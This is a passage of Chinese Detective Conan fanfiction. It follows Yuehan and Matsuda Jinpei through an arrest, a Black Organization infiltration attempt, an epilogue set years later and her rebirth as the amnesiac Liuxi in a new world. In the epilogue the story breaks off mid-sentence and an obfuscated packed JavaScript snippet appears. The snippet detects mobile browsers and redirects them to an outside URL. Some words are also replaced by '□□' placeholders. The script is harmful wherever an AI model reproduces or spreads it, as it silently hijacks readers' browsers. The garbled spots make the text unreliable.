松田阵平敏锐地察觉到了高桥健太的变化,眼中闪过一丝锐利。他抓住这个机会,侧身避开高桥健太的攻击,同时一记重拳狠狠砸在他的腹部。高桥健太闷哼一声,身体蜷缩起来,手中的匕首“哐当”一声掉在地上。松田阵平趁机上前,将他按在地上,反手扣住他的手腕,厉声喝道:“不许动!” 警员们立刻上前,拿出手铐将高桥健太牢牢铐住。松田阵平这才松了一口气,踉跄着后退了一步,手臂上的伤口还在不断流血。玥涵快步冲上前,扶住他摇摇欲坠的身体,眼泪瞬间掉了下来:“阵平,你怎么样?疼不疼?”她小心翼翼地捂住他的伤口,动作轻柔得像是在呵护易碎的珍宝。 “我没事,小伤而已。”松田阵平抬手擦掉她脸上的泪水,语气温柔,带着一丝安抚,“别哭,我这不是好好的吗?”伊达航走过来,拍了拍他的肩膀:“你先去处理伤口,这里交给我们。”松田阵平点点头,在玥涵的搀扶下,慢慢走向车库外的医务室。 柯南走到小兰身边,看着她苍白的脸,轻声呼唤:“小兰姐姐,你没事吧?”小兰摇了摇头,眼神却有些恍惚,似乎在努力回忆着什么。就在这时,医院的广播突然响起,传来一首熟悉的钢琴曲——《月光》,这是小兰最喜欢的歌曲。 悠扬的旋律在地下车库回荡,小兰的身体突然微微颤抖起来。她的眼神渐渐变得清晰,脑海中闪过无数片段:和新一在游乐园的约定、和柯南一起破案的时光、在涵味居和玥涵一起吃小笼包的温馨场景、练习空手道时的汗水与坚持…… “新一……柯南……”小兰的声音带着一丝沙哑,眼中渐渐有了光彩。她看向柯南,眼中满是熟悉的温柔:“柯南,我记得你,你是那个总是跟在我身边的小侦探。”柯南听到她的话,惊喜地睁大了眼睛:“小兰姐姐,你恢复记忆了?” 小兰点了点头,眼泪掉了下来,带着失而复得的喜悦:“我都记得了,所有的事情都记得了。”她看向不远处正在处理伤口的玥涵和松田阵平,眼中满是感激:“谢谢你,玥涵姐姐,还有松田警官,谢谢你们保护我。” 医务室里,医生正在为松田阵平处理伤口。消毒水的味道弥漫在空气中,松田阵平皱着眉头,却没有哼一声。玥涵坐在一旁,紧紧握着他的另一只手,眼神里满是心疼。“都说了是小伤,你看你,哭得像个小哭包。”松田阵平看着她泛红的眼眶,语气带着一丝宠溺。 “谁让你这么不小心!”玥涵嗔怪着,眼泪却还是忍不住掉了下来,“你知不知道刚才我有多担心?看到你受伤的那一刻,我心都快碎了。”松田阵平伸出没受伤的手,轻轻擦掉她的泪水,语气坚定:“以后我会更小心,绝不会再让你为我担心。” 医生处理完伤口,叮嘱道:“伤口有点深,需要好好休息,避免剧烈运动,按时换药。”松田阵平点点头,在玥涵的搀扶下走出医务室。外面的阳光正好,洒在两人身上,温暖而耀眼。小兰、柯南和伊达航正站在不远处等他们,看到他们出来,小兰快步走上前,深深鞠了一躬:“松田警官,谢谢你救了我。” “不用客气。”松田阵平笑了笑,语气温和,“保护市民是我们的职责。你能恢复记忆,真是太好了。” 18. 第 18 章 医院的病房里,小兰正坐在窗边,手里捧着一杯温热的牛奶,听毛利小五郎眉飞色舞地讲述着她失忆期间发生的趣事。妃英理坐在一旁,眼神温柔地看着女儿,嘴角挂着欣慰的笑容。 “所以说,那个凶手被松田警官一拳就打倒了?”小兰睁着圆圆的眼睛,语气中带着一丝惊讶。柯南坐在她身边,用力点头:“是啊小兰姐姐!松田警官超厉害的!不过玥涵姐姐也帮了大忙,是她用科技设备干扰了凶手的动作,松田警官才能顺利抓住他。” 正说着,玥涵和松田阵平走了进来。松田阵平的手臂上缠着厚厚的纱布,却丝毫不影响他挺拔的身姿。玥涵手里提着一个保温桶,走到床边笑着说:“小兰,感觉怎么样?我让涵味居的厨师做了你最喜欢的海鲜粥,趁热尝尝。” 小兰接过保温桶,眼中满是感激:“谢谢你,玥涵姐姐。这段时间,辛苦你和松田警官了。”她打开保温桶,浓郁的香气扑面而来,舀起一勺粥送进嘴里,熟悉的味道让她露出了安心的笑容。松田阵平靠在门框上,看着这温馨的一幕,紧绷多日的神经终于彻底放松下来,手臂上的伤口似乎也不那么疼了。 “凶手已经被正式逮捕,对所有犯罪事实都供认不讳了。”松田阵平开口说道,语气沉稳,“他确实是十年前受贿案的受害者家属,因为父亲入狱病逝,一直怀恨在心,才对参与办案的警察展开报复。小兰你当时应该是无意中看到了他的作案准备,才被他盯上的。” 小兰点点头,心中有些后怕,却更多的是庆幸:“幸好有你们在,不然我真不知道会怎么样。”妃英理站起身,走到松田阵平和玥涵面前,深深鞠了一躬:“松田警官,玥涵小姐,这次真的太感谢你们了,是你们救了小兰。” “妃律师客气了。”松田阵平侧身避开,语气诚恳,“保护市民是我们的职责,而且这次能顺利破案,也离不开玥涵的技术支持。”玥涵笑了笑:“我们只是做了自己该做的事,只要小兰能平安无事就好。” 几人又聊了一会儿,见小兰有些疲惫,玥涵和松田阵平便起身告辞。走出病房时,阳光正好落在两人身上,温暖而耀眼。松田阵平自然地牵起玥涵的手,指尖摩挲着她的掌心:“案件结束了,终于可以让你好好休息一下了。” “你也是,”玥涵抬头看着他,眼中满是心疼,“这段时间你一直超负荷工作,还受了伤,等忙完警视厅的事,一定要好好补补。”松田阵平低头,在她额头上轻轻一吻,语气温柔:“好,都听你的。晚上想吃什么?我带你去吃你最爱的那家怀石料理。”玥涵笑着点头:“好啊。” 两天后,警视厅举行了隆重的表彰大会,表彰在连环袭击案侦破过程中表现突出的警员和相关人员。大会现场庄严肃穆,警视总监站在台上,目光扫过台下的众人,语气庄重:“这次连环袭击案的顺利侦破,不仅维护了警视厅的尊严,更保护了市民的生命安全。松田阵平、伊达航等警员不畏艰险、英勇作战,值得我们所有人学习!同时,我们也要特别感谢星涵科技的玥涵小姐及其团队,他们的技术支持为案件侦破提供了关键帮助!” 台下响起热烈的掌声,玥涵坐在松田阵平身边,脸上带着淡淡的微笑。当听到自己的名字时,她站起身,微微鞠躬致意。松田阵平看着她从容自信的模样,眼中满是骄傲。他知道,这份荣誉,玥涵当之无愧。 表彰仪式结束后,松田阵平、伊达航、诸伏景光和玥涵走到了一起。伊达航拍了拍松田阵平的肩膀,笑着说:“不错啊松田,这次又立了大功。”松田阵平笑了笑,看向玥涵:“这军功章,有一半是玥涵的。” 就在这时,诸伏景光的神色突然变得凝重起来,他拉着三人走到一旁的僻静角落,从口袋里拿出一个加密通讯器,低声说:“零传来了新消息。”松田阵平和伊达航的脸色瞬间沉了下来,玥涵也收起了笑容,凝神倾听。 “黑衣组织已经注意到星涵科技了。”诸伏景光的声音压得很低,带着一丝担忧,“零说,组织高层认为星涵科技的技术对他们构成了威胁,而且怀疑星涵科技与警方有密切合作,近期可能会对星涵科技展开调查。” 玥涵的心中一沉,果然,黑衣组织的目光还是落到了星涵科技上。她深吸一口气,强迫自己冷静下来:“他们会用什么方式调查?”“目前还不确定,”诸伏景光摇摇头,“零说,组织可能会通过商业合作、派遣卧底等方式潜入星涵科技,窃取核心技术,甚至可能对公司的核心人员下手。” 松田阵平的眼神瞬间变得锐利起来,他紧紧握住玥涵的手,语气坚定:“我会安排人手,加强对星涵科技和涵味居的安保,同时派人24小时保护你的安全。”伊达航也点了点头:“我会协调警视厅的力量,协助你们做好防范工作。” 玥涵心中涌起一股暖流,她看着身边的伙伴们,眼神坚定:“谢谢你们。我也会立刻采取行动,升级星涵科技的安防系统,加密所有核心数据。另外,我会让陈默安排人手,伪装成普通员工,暗中排查公司内部的可疑人员,绝不让黑衣组织有可乘之机。” 回到星涵科技后,玥涵立刻召集公司的核心技术人员开会。会议室里,气氛凝重,所有人都意识到了事情的严重性。“从今天起,公司进入一级戒备状态。”玥涵的目光扫过众人,语气沉稳,“陈默,你负责升级公司的安防系统,启用最高级别的加密协议,确保所有核心数据的安全。” “明白!”陈默点点头,神色严肃。“另外,”玥涵继续说道,“我会从总部抽调几名信得过的员工,伪装成新入职的普通员工,分布在公司的各个部门,暗中排查可疑人员。大家在工作中也要提高警惕,不要轻易相信陌生人,发现任何异常情况,第一时间向我汇报。” 会议结束后,所有人都立刻投入到紧张的工作中。陈默带领技术团队,日夜不停地升级安防系统;其他员工也各司其职,加强了对公司各个区域的巡查。玥涵则亲自坐镇主控室,监督着各项工作的进展,同时通过智能系统,对公司的所有数据进行加密处理。 松田阵平处理完警视厅的工作后,也立刻赶到了星涵科技。他走进主控室,看到玥涵正专注地盯着屏幕,指尖在键盘上快速敲击,额头上渗出了细密的汗珠。他走过去,拿起一旁的纸巾,轻轻为她擦去汗水,语气温柔:“别太累了,注意休息。” 玥涵抬起头,看到是松田阵平,眼中闪过一丝疲惫,却还是笑了笑:“我没事。安防系统升级到关键阶段了,必须尽快完成。”松田阵平在她身边坐下,握住她的手:“我在这里陪你。有什么需要帮忙的,随时告诉我。” 松田阵平的手臂还缠着纱布,却小心翼翼地环着她的腰,下巴抵在她的发顶,呼吸间带着淡淡的消毒水味,混着她发间的清香,织成一片短暂的安宁。 “这段时间辛苦你了。”松田阵平的声音低沉而温柔,指尖轻轻摩挲着她的手臂,“安防系统升级完成,总算能稍微松口气了。”玥涵转过身,在他唇上轻轻啄了一下,眼中带着笑意:“有你在身边,再辛苦也值得。”她拿起桌上的温牛奶,递到他嘴边,“喝点热的,医生说你要多补充营养。”松田阵平顺从地喝了一口,温热的液体滑过喉咙,暖意蔓延到四肢百骸。 这份安稳并未持续太久。第二天上午,星涵科技的前台突然打来电话,语气带着一丝谨慎:“玥涵总,有一家名为‘黑泽商贸’的公司,说是想和我们洽谈深度合作,投资我们的新项目,现在已经在会客室等候了。” “黑泽商贸?”玥涵的心头猛地一沉,指尖瞬间冰凉。她立刻想起诸伏景光传达的安室透的警告——黑衣组织会通过商业合作的方式潜入星涵科技。这个名字来得太过巧合,绝非偶然。她深吸一口气,强迫自己冷静下来:“我知道了,让他们稍等,我马上过去。” 挂断电话后,玥涵立刻联系了松田阵平。松田阵平正在警视厅处理案件收尾工作,听到“黑泽商贸”四个字,脸色瞬间沉了下来:“是黑衣组织的人,你不要轻易答应他们任何条件,我现在立刻赶过去!” “我明白,你别着急,我会先稳住他们。”玥涵挂断电话,整理了一下衣领,快步走向会客室。推开门的瞬间,她脸上已经挂上了职业化的微笑,目光快速扫过会客室里的两个人。为首的是一个穿着黑色西装的男人,约莫四十岁左右,眼神锐利,嘴角挂着公式化的笑容,身边跟着一个年轻的助理,低着头,手里拿着公文包,看起来有些拘谨。 “您好,我是星涵科技的玥涵。”玥涵伸出手,语气从容,“听说贵公司想和我们洽谈合作?”黑色西装男人握住她的手,指尖冰凉,力道却带着一丝不易察觉的试探:“您好,玥涵总,我是黑泽商贸的负责人黑泽明。早就听闻星涵科技在智能安防领域的技术非常出色,我们公司很看好贵公司的发展前景,想投资贵公司的新项目。” 两人落座后,黑泽明开门见山,让助理拿出合作方案。“我们计划投资五个亿,占股百分之十五,”黑泽明的目光紧紧盯着玥涵,观察着她的反应,“条件是,我们要参与新项目的核心技术研发过程。” 玥涵心中冷笑,果然是冲着核心技术来的。她拿起合作方案,假装认真翻阅,指尖却在桌下悄悄按动了藏在袖口的微型录音设备。“五个亿的投资,确实很有诚意。”玥涵抬起头,脸上带着恰到好处的犹豫,“不过,核心技术研发是我们公司的机密,恐怕不方便让外部人员参与。” “玥涵总放心,”黑泽明笑了笑,语气带着一□□导,“我们只是想了解研发进度,方便后续的资金跟进。而且,我们公司在海外有很多资源,可以帮助星涵科技拓展国际市场。”他顿了顿,补充道,“如果玥涵总觉得条件不合适,我们可以再商量。” 玥涵没有立刻答应,而是岔开了话题,和黑泽明聊起了行业趋势。她故意透露了一些无关紧要的技术信息,观察着黑泽明的反应。黑泽明听得很认真,时不时追问几句,问题都隐隐指向核心技术的细节。玥涵凭借出色的应变能力,一一巧妙化解,既没有泄露机密,也没有让黑泽明起疑心。 洽谈进行了一个多小时,就在即将结束的时候,松田阵平赶到了星涵科技。他走进会客室,目光锐利地扫过黑泽明和他的助理,然后走到玥涵身边,自然地握住她的手,语气平淡:“抱歉,我来晚了。” 玥涵感受到他掌心的温度,心中的不安瞬间消散了大半。她向黑泽明介绍道:“黑泽先生,这位是我的朋友,松田阵平。”黑泽明看到松田阵平的瞬间,眼中闪过一丝不易察觉的警惕,但很快又恢复了平静,伸出手:“松田先生您好。”松田阵平只是轻轻握了一下他的手,没有说话,眼神却始终没有离开黑泽明。 “关于合作的事情,我需要和团队商量一下,”玥涵适时开口,“三天后,我会给黑泽先生一个明确的答复。”黑泽明点了点头,站起身:“好,那我们就静候玥涵总的佳音。”他和助理离开了星涵科技,走出大门的瞬间,黑泽明的眼神瞬间变得阴鸷起来,对助理低声吩咐了几句,助理点点头,快步跟了上去。 他们离开后,松田阵平立刻关上会客室的门,语气凝重:“怎么样?有没有发现什么异常?”玥涵拿出藏在袖口的微型录音设备,笑了笑:“都录下来了。他们的目标很明确,就是我们的核心技术。而且,我总觉得那个助理有点奇怪,一直低着头,不怎么说话,像是在刻意隐藏什么。” 两人立刻将录音交给陈默,让他进行技术分析。陈默带着技术团队,很快投入到紧张的工作中。星涵科技的智能分析系统快速运转,对录音进行全方位的解析。不到半小时,陈默的声音带着一丝兴奋传来:“玥涵姐,发现异常了!录音里有轻微的信号干扰声,应该是有人在暗中录音!” 玥涵和松田阵平立刻赶到技术部。陈默将分析结果展示在屏幕上:“这个信号干扰声,是□□工作时发出的。我通过频谱分析,确定窃听器的位置就在黑泽明助理拿的公文包里。”他顿了顿,补充道,“而且,这个窃听器的信号频率,和我们之前监测到的黑衣组织的信号频率有相似之处。” “果然是黑衣组织的试探。”松田阵平的眼中闪过一丝锐利,“他们想通过合作潜入公司,窃取核心技术,还想通过窃听器获取更多信息。”玥涵的嘴角勾起一抹冷笑:“既然他们想玩,我们就陪他们玩玩。我们可以假装同意合作,将计就计,看看他们到底想干什么,同时也能利用这个机会,获取更多黑衣组织的信息。” 松田阵平皱了皱眉,有些担心:“这样太危险了,万一被他们发现,你会有生命危险。”玥涵握住他的手,眼神坚定:“我有分寸。我会安排好一切,让陈默加强对公司内部的监控,同时让信得过的员工伪装成普通员工,暗中观察他们的动向。而且,有你和伙伴们的支持,我不怕。” 她顿了顿,补充道:“更重要的是,这是一个获取黑衣组织信息的好机会。安室透在组织内部潜伏不易,我们如果能从外部配合他,或许能获取更多有价值的情报。”松田阵平看着她坚定的眼神,知道她已经下定了决心。他轻轻叹了口气,握紧她的手:“好,我支持你。但你必须答应我,无论遇到什么情况,都要第一时间通知我,绝不能独自冒险。” “我答应你。”玥涵点点头,靠在他的肩膀上,“有你在,我什么都不怕。”松田阵平轻轻拍着她的背,心中满是心疼和骄傲。他知道,玥涵不是一个需要被保护在温室里的花朵,她有自己的智慧和勇气,能够和他并肩作战。 当天晚上,玥涵联系了诸伏景光,将黑泽商贸的情况和发现窃听器的事情告诉了他,让他将这个消息传递给安室透。“我会假装同意和他们合作,为安室透提供一个获取信息的机会。”玥涵的语气坚定,“希望我们能默契配合,给黑衣组织一个措手不及。” 诸伏景光点点头,语气凝重:“我会立刻将消息传递给零。你一定要注意安全,黑衣组织的人非常狡猾,千万不要掉以轻心。”挂断电话后,玥涵站在窗边,看着窗外的夜色。 N年后—— 玥涵推开那扇熟悉的木门时,风铃轻响,依旧是当年她亲手挑选的样式。店内人声鼎沸,升腾的热气裹着馄饨的鲜香扑面而来,时光仿佛在这里凝固,又好像从未停留。 “阿姨,请问您几位?”穿制服的小姑娘走上前,笑容清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007648|194076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甜。她是林晚的女儿,眉眼间依稀能看到林晚年轻时的模样。玥涵温和地笑了笑,指了指靠窗的那个位置:“我一个人,就坐那里。”那是她和松田阵平最常坐的位置,靠窗能看到街对面的樱花树,每年春天,粉白的花瓣都会落在窗沿上,像撒了一层细雪。 “好嘞!”小姑娘应着,麻利地收拾好桌面。玥涵坐下时,指尖不自觉地抚过桌面的纹路,这里还留着经年累月的温度,仿佛松田阵平昨天还坐在这里,皱着眉帮她吹凉刚出锅的馄饨,语气带着不易察觉的温柔:“慢点吃,烫。” “一份鲜肉馄饨,少盐,多放葱花。”玥涵轻声开口,报出的是两人都喜欢的口味。当年她总笑松田阵平一个糙汉子,偏偏爱吃这种细腻的吃食,他就会挑眉反驳:“好吃就行,哪来那么多讲究。”可转头就会记住她的喜好,每次来都主动跟后厨交代“少盐多葱花”。 馄饨端上来时,热气氤氲了玥涵的视线。她拿起勺子,舀起一个吹了吹,放进嘴里——还是当年的味道,鲜香的肉馅混着葱花的清爽,汤汁温润地滑过喉咙。可对面的位置空着,再也没有人会先尝一口确认温度,再也没有人会在她吃呛时,递过一杯温水,无奈又宠溺地揉揉她的头发。 吃到一半,玥涵抬眼望去,街对面的樱花树正开得绚烂。一阵春风吹过,粉白的花瓣簌簌落下,落在行人的肩头,落在店门口的台阶上。她忽然想起很多年前,松田阵平就是在这样的樱花树下,红着脸跟她告白,指尖都在微微发颤,却眼神坚定地说:“玥涵,我想和你过一辈子。” 眼泪毫无预兆地涌了上来,砸在温热的汤碗里,泛起细小的涟漪。玥涵抬手擦了擦眼角,嘴角却带着释然的笑意。她慢慢吃完碗里的馄饨,连汤汁都喝得干干净净,像是要把这十几年的烟火温情,都细细咽进肚子里,刻进灵魂深处。 结完账,玥涵站在涵味居门口,回头望了一眼。林晚的女儿正在忙碌,和当年的林晚一样,脸上带着认真又温暖的笑容。店内的喧嚣与暖意,会继续温暖着来来往往的人,这就够了。她转身,朝着那个承载了她半生温柔的小院走去。 石板路被岁月磨得光滑,沿途的店铺换了又换,唯有街角的老槐树还在,枝繁叶茂,像个沉默的守护者。玥涵走得很慢,每一步都像是在与过往告别。路过曾经和松田阵平一起逛过的便利店,她想起两人深夜饿了,穿着拖鞋跑出来买泡面的模样;路过曾经一起看电影的影院,她想起松田阵平在黑暗中悄悄牵起她的手,指尖的温度烫得她心跳加速。 走到小院门口时,夕阳已经西斜,金色的余晖洒在院墙上,给斑驳的砖墙镀上了一层温暖的光晕。玥涵推开虚掩的木门,“吱呀”一声,惊醒了院中的寂静。院子里的樱花树依旧枝繁叶茂,粉白的花瓣落了一地,花架上的藤蔓爬得更高了,缠绕着木质的支架,绿意盎然。 她缓步走进院子,脚下踩着厚厚的花瓣,发出轻微的“沙沙”声。松田阵平当年为她搭建花架的身影仿佛就在眼前,他穿着灰色的家居服,额头上渗着细密的汗珠,却不肯让她帮忙,说:“这种粗活,我来就好。”玥涵靠在门框上,看着他忙碌的背影,阳光洒在他身上,温柔得不像话。 客厅里的摆设还保持着两人居住时的模样,沙发上搭着松田阵平的旧外套,茶几上放着他没看完的报纸,书架上整齐地摆放着两人的合照,从年轻时的青涩到中年的沉稳,再到迟暮的相依,每一张都记录着他们的岁月静好。 玥涵走到书架前,拿起最上面的一张合照。那是在京都鸭川边拍的,松田阵平刚给她戴上银戒,两人相拥而吻,月光洒在水面上,波光粼粼地映在他们脸上。她轻轻抚摸着照片上松田阵平的笑脸,指尖传来冰凉的触感,心中却满是温暖。“松田,我来看你了。”她轻声呢喃,像是在跟他分享近况,“涵味居还是老样子,你的花架也还好好的,一切都很好。” 她在客厅里坐了很久,直到夕阳完全落下,夜幕降临。起身时,她走到书桌前,拿起早已准备好的捐赠协议。这份协议,她修改了无数次,最终决定将这个充满爱的小院,捐赠给星涵公益基金,作为退役警察的休养所。她想,松田阵平一定会支持她的决定,这里曾经承载了他们的爱与温暖,未来也应该继续温暖着那些为守护这座城市付出过的人。 签完名字的那一刻,玥涵的心中涌起一股释然。她将协议小心翼翼地收好,然后开始最后一次整理这个家。她把松田阵平的旧外套叠得整整齐齐,放进衣柜最深处;把两人的合照都装进一个木盒里,贴身收好;把院子里的樱花花瓣捡了一捧,放进一个小玻璃瓶里,这是她能带走的,关于这个世界最温柔的念想。 做完这一切,天已经完全黑了。玥涵走到院子里,坐在樱花树下的石凳上。晚风轻拂,带来樱花的清香,和松田阵平身上的味道很像,温和而安心。她抬头望向夜空,繁星点点,月亮像一轮银盘,挂在深蓝色的天幕上。曾经,松田阵平也会这样陪着她坐在院子里看星星,他会指着最亮的那颗星说:“那是我,以后我不在你身边,看到这颗星,就像看到我一样。” 就在这时,脑海中响起了心愿系统熟悉的提示音,温和而不带任何情绪:“核心任务已全部完成,萩原研二、松田阵平、诸伏景光、伊达航均已安享晚年,黑衣组织已彻底覆灭。是否准备前往轮回,斩断与本世界的所有情缘?” 玥涵闭上眼睛,深吸了一口气,空气中满是樱花的清香和家的味道。她想起了和松田阵平相依相伴的几十年,想起了伙伴们的欢声笑语,想起了涵味居的烟火气,想起了这个世界给予她的所有温暖与爱。这些回忆,早已刻进她的灵魂深处,成为她生命中最珍贵的宝藏。 “我准备好了。”玥涵轻声回应,声音平静却坚定。 话音刚落,一道柔和的白光从她体内散发出来,包裹着她的灵魂。她能感觉到自己的身体在逐渐变得轻盈,灵魂正在慢慢脱离躯体。周围的景象开始变得模糊,小院的樱花树、客厅的合照、涵味居的风铃……都在一点点淡去。 就在这时,模糊的光影中,她看到了熟悉的身影。樱花树下,松田阵平穿着年轻时的警服,身姿挺拔,脸上带着她最熟悉的温柔笑容。他的身边,站着萩原研二、诸伏景光、伊达航和安室透,他们都还是年轻时的模样,笑容灿烂,仿佛从未离开。 “玥涵。”松田阵平朝着她伸出手,声音依旧低沉温柔,像春风拂过湖面,“过来。” 玥涵的眼泪再次涌了上来,这一次,却带着满满的眷恋与满足。她朝着他们微笑,用力地点了点头,却没有走上前。她知道,这是最后的告别,她要带着这份爱与回忆,奔赴新的轮回。 “再见了,松田。” “再见了,我的伙伴们。” 她轻轻挥手,眼中的光影逐渐消散。灵魂彻底脱离躯体的那一刻,她感觉到一股温暖的力量包裹着她,带着她穿越时空。这个世界的所有情缘,都在此刻斩断,却又从未真正消失——那些爱与温暖,那些欢声笑语,那些岁月静好,都永远镌刻在她的灵魂深处。 樱花依旧在晚风里飘落,小院的木门轻轻合上,仿佛从未有人来过。 19. 第 19 章 鎏金的星屑像被揉碎的碎钻,混着暗紫色的星云乱流翻涌,玥涵的意识在失重感里沉浮,最后定格的,是松田阵平那双总是带着点漫不经心的眉眼。他笑起来时眼尾会微微上挑,睫毛在眼睑下投出一小片阴影,掌心的温度透过相握的指尖传来,是她在《名侦探柯南》世界里,耗尽半生才焐热的安稳。 “等这次任务结束,我们去箱根泡温泉吧。”他的声音还萦绕在耳畔,带着烟火气的沙哑,像是刚抽完一支烟。玥涵甚至能想起他说这话时,指尖夹着的烟蒂还冒着微弱的红光,风一吹,烟灰落在他的警服袖口,留下一点浅浅的痕迹。她当时笑着点头,鼻尖蹭过他的下颌线,那里有刚冒出的青色胡茬,有点扎人,却格外真实。 这温情的画面还没来得及在脑海里多停留一秒,系统尖锐的警报声就像冰锥一样刺穿了耳膜。“警告!高阶修士灵力冲击波逼近!能量等级超出防护阈值!”机械的提示音带着前所未有的慌乱,紧接着,一股毁天灭地的力量如海啸般席卷而来,玥涵感觉自己的灵魂都在震颤,身体像是被扔进了滚筒洗衣机,每一寸骨骼都在叫嚣着疼痛。 松田阵平的笑容在视野里逐渐模糊,最后变成一团晃动的光斑。“宿主危险!启动紧急防护机制……空间通道强制开启……坐标紊乱……”系统的声音越来越远,像是从深海里传来,最终彻底消散在无边的黑暗中。玥涵的意识被剧痛拖拽着下沉,像是坠入了没有底的深渊,连最后一声“阵平”都没能来得及喊出口。 不知过了多久,额头传来的刺痛感将她从混沌中唤醒。 潮湿的腐叶味钻进鼻腔,带着山林特有的清冷气息。玥涵费力地睁开沉重的眼皮,视线模糊了好一会儿才渐渐清晰。她躺在厚厚的落叶堆上,身上的任务制服早已被划得残破不堪,布料紧紧贴在皮肤上,又冷又黏。额角的伤口还在渗血,温热的液体顺着脸颊滑落,滴进衣领里,带来一阵细微的痒意。 她动了动手指,指尖触碰到身下松软却带着凉意的落叶,还有一截裸露在外的树根,粗糙的纹理蹭过指腹,带来真实的触感。可脑海里却像是被橡皮擦彻底擦过一样,空空荡荡的。 任务?系统?那些熟悉的词汇像是隔着一层厚厚的雾,怎么也抓不住。她是谁?她为什么会在这里?这里是哪里?无数个问题涌上来,却没有一个能找到答案。她试着在脑海里搜寻自己的名字,一片空白中,只有一个模糊的音节在反复回响,轻柔又执拗,像是有人在她耳边轻声呼唤:“鎏……汐?” 鎏汐?是在叫我吗? 她喃喃地重复着这个音节,舌尖抵着上颚,生出一种莫名的熟悉感。好像从很久很久以前,这个名字就属于她了。 玥涵撑着树干慢慢起身,双腿发软,刚站直就踉跄了一下,只能死死抓住粗糙的树皮才能稳住身形。林间很静,只有风吹过树叶的“沙沙”声,还有远处不知名的鸟雀偶尔发出的几声鸣叫。阳光透过层层叠叠的枝叶洒下来,在地上投下斑驳的光影,随着风的吹动轻轻晃动,像是跳动的萤火。 这份短暂的静谧让她紧绷的神经稍稍放松了些,可下一秒,眼角的余光就瞥见了树后飘着的一团东西。 那是一团扭曲的黑影,大概有半人高,边缘模糊不清,像是随时会散开,又随时会凝聚。黑影里传来细碎的嘶吼声,不是她听过的任何一种动物的叫声,尖锐又诡异,像是指甲划过玻璃,又像是濒死之人的呻吟,让她的心脏猛地一缩,一股莫名的恐惧瞬间攫住了她。 她甚至能感觉到那团黑影里散发出的阴冷气息,像是寒冬腊月里的寒风,顺着毛孔钻进身体里,让她忍不住打了个寒颤。那气息带着强烈的恶意,直直地锁定了她,让她浑身的汗毛都竖了起来。 “啊——”她下意识地尖叫出声,猛地后退一步,脚下被树根绊倒,重重地摔在落叶堆上。腐叶的碎屑溅到她的脸上,混杂着额角的血迹,又痒又疼。 那团黑影似乎被她的尖叫惊动了,微微晃动了一下,朝着她的方向飘近了半尺。细碎的嘶吼声变得更加清晰,带着一种迫不及待的贪婪。 鎏汐吓得连滚带爬地站起来,根本不敢回头,跌跌撞撞地朝着相反的方向跑去。树枝刮过她的脸颊和手臂,留下一道道细密的血痕,她却感觉不到疼痛,只有深入骨髓的恐惧在驱使着她不停奔跑。她不知道那团黑影是什么,也不知道它为什么要跟着自己,她只知道,必须离那个东西远远的。 她漫无目的地在林间游荡,脚下的落叶越来越厚,每一步都要费很大的力气。阳光渐渐西斜,原本温暖的光斑变得黯淡,林间的温度也越来越低。她的体力在快速消耗,呼吸变得越来越急促,胸口像是被压了一块巨石,闷得发疼。 恐惧渐渐被疲惫取代,茫然再次涌上心头。她停下脚步,扶着一棵大树大口喘气,眼泪不受控制地涌了上来。她到底是谁?为什么会出现在这个奇怪的地方?还有那个可怕的黑影,到底是什么? 就在她几乎要崩溃的时候,远处传来了一阵微弱的引擎声。 那声音很轻,被风吹得断断续续,却像是一道光,瞬间照亮了她绝望的心底。有人!这里有人! 鎏汐的眼睛猛地亮了起来,她擦干脸上的泪水和血迹,朝着声音传来的方向望去。透过层层枝叶,她似乎看到了一点微弱的灯光,在昏暗的林间格外醒目。 她像是抓住了最后一根救命稻草,用尽全身的力气,踉踉跄跄地朝着那声音和灯光的方向走去。额角的伤口还在渗血,模糊了她的视线,她却毫不在意,只是一步一步地往前走。 引擎声越来越清晰,越来越近,她甚至能听到轮胎碾过石子路的“嘎吱”声。 暮春的晚风带着郊外草木的湿润气息,卷着细碎的槐花瓣,落在鎏汐蜷缩的肩头。她刚从林间的惊悸中挣脱出来,浑身沾满深褐色的泥渍,额角的伤口结了层暗红的血痂,被风吹得发疼。破旧的制服下摆撕开一道长长的口子,露出的脚踝蹭得通红,每动一下都像是有细针在扎。 引擎的轰鸣声由远及近,两道车灯的光柱穿透暮色,在她身前不远处停下。鎏汐猛地绷紧了身体,像只被猎人追赶的幼鹿,往后缩了缩,浑浊的眼眸里盛满警惕,却又藏不住深处的茫然无措。 车门打开,先下来的是位穿着米白色针织衫的女人,身形微胖,眉眼间带着天然的柔和。她看到路边的鎏汐时,脚步明显顿了一下,随即放轻动作走过来,声音压得极低,生怕惊扰了她:“孩子,你没事吧?” 鎏汐抿着唇不说话,只是死死盯着她。女人身后跟着个穿着藏青色夹克的男人,身形挺拔,面容憨厚,手里还拎着个刚从镇上集市买回来的布包,里面露出半截新鲜的蔬菜。他顺着女人的目光看到鎏汐,眉头微微蹙起,眼神里满是怜悯。 “别害怕,我们没有恶意。”女人从随身的包里翻出一包干净的纸巾,又拧开一瓶温水,小心翼翼地递到鎏汐面前,指尖带着点常年做家务的薄茧,却格外轻柔,“我叫夏油惠,这是我的先生夏油宏。天快黑了,你一个人在这里太危险了。” 鎏汐的视线落在那瓶温水上,喉咙干涩得发疼。她迟疑了足足有半分钟,才缓缓抬起手,指尖颤抖着碰到瓶身,温热的触感顺着指尖蔓延开来,让她紧绷的神经稍稍松弛。她小口小口地喝着水,夏油惠就站在一旁静静等着,没有再追问,只是用纸巾轻轻帮她擦掉脸颊上的泥渍。 “你叫什么名字?家在哪里?”夏油宏的声音低沉温和,像郊外傍晚的风,“要是找不到家,不如先跟我们回去?等明天天亮了,再帮你找家人。” 鎏汐的动作顿住了。家?这个词在她空白的脑海里没有任何回响。她张了张嘴,喉咙里挤出细碎的音节,反复斟酌了许久,才艰难地吐出两个字:“鎏……汐。” 这是她唯一能抓住的、属于自己的印记。 